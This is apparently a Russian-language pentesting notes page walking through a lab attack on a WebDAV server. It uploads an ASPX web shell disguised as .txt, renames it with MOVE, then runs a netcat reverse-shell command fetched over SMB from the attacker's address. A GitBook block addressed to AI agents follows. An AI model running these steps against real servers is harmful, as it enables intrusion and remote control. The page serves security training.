> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/webdav-attack/webdav-webshell-aspx-pentesting-web.md).

# ASPX web shell через WebDAV

Порт 80 открыт, и сервер поддерживает WebDAV. Это потенциально позволяет нам загружать файлы с помощью метода PUT и переименовывать их с помощью MOVE.

<figure><img src="/files/2b5a75296aa654c2b1a432e3b59fbe6962b7f0a7" alt=""><figcaption></figcaption></figure>

Создайте такой файл:

```bash
echo "this is a test" > test.txt

```

Подключитесь к серверу с помощью инструмента **cadaver**:

```bash
cadaver 10.10.10.15

```

Попробуйте загрузить файл с помощью команды PUT:

<figure><img src="/files/f2faf02be2535de119257b938125cf0de0d2c721" alt=""><figcaption></figcaption></figure>

* Результат: Успех.

<figure><img src="/files/1bc5f6737f0daf7d77ec69506cf18c9ef05fd18e" alt="" width="563"><figcaption></figcaption></figure>

### **Загрузка WebShell**

Скопируйте существующий WebShell ASPX:

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .

```

Попробуйте загрузить его напрямую:

```powershell
put aspx_cmd.aspx

```

Результат: Неудача (сервер блокирует файл с расширением .aspx).

<figure><img src="/files/1499aaae51e90327f597145c074502e090504077" alt="" width="563"><figcaption></figcaption></figure>

Измените расширение на **.txt**:

```bash
mv aspx_cmd.aspx cmd.txt

```

Повторите попытку загрузки:

```powershell
PUT cmd.txt

```

* Результат: Успех.

<figure><img src="/files/37c8189373e530db426505bcf363f875925db97b" alt="" width="563"><figcaption></figcaption></figure>

#### Переименуйте файл с помощью MOVE, чтобы восстановить расширение:

```powershell
move cmd.txt cmd.aspx

```

<figure><img src="/files/57e0e1004c32589324c1c32728f9cc4d291e5a34" alt=""><figcaption></figcaption></figure>

Доступ к WebShell через браузер:

<figure><img src="/files/24f2ce88b1085ef097ca1bd9cd616d735d5c7ea1" alt=""><figcaption></figcaption></figure>

### **Обратная оболочка через WebShell:**

Поместите исполняемый Netcat в текущий каталог:

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .

```

Запустите SMB-сервер, чтобы расшарить файл:

```bash
smbserver.py smbFolder $(pwd) -smb2support

```

Настройте свою машину как слушатель на порту 443:

```bash
sudo rlwrap nc -nvlp 443

```

Выполните команду обратной оболочки из WebShell:

```bash
//10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443

```

<figure><img src="/files/bec5dd09a106a7e8c94dedb84eff4c1bcdde6d97" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/webdav-attack/webdav-webshell-aspx-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
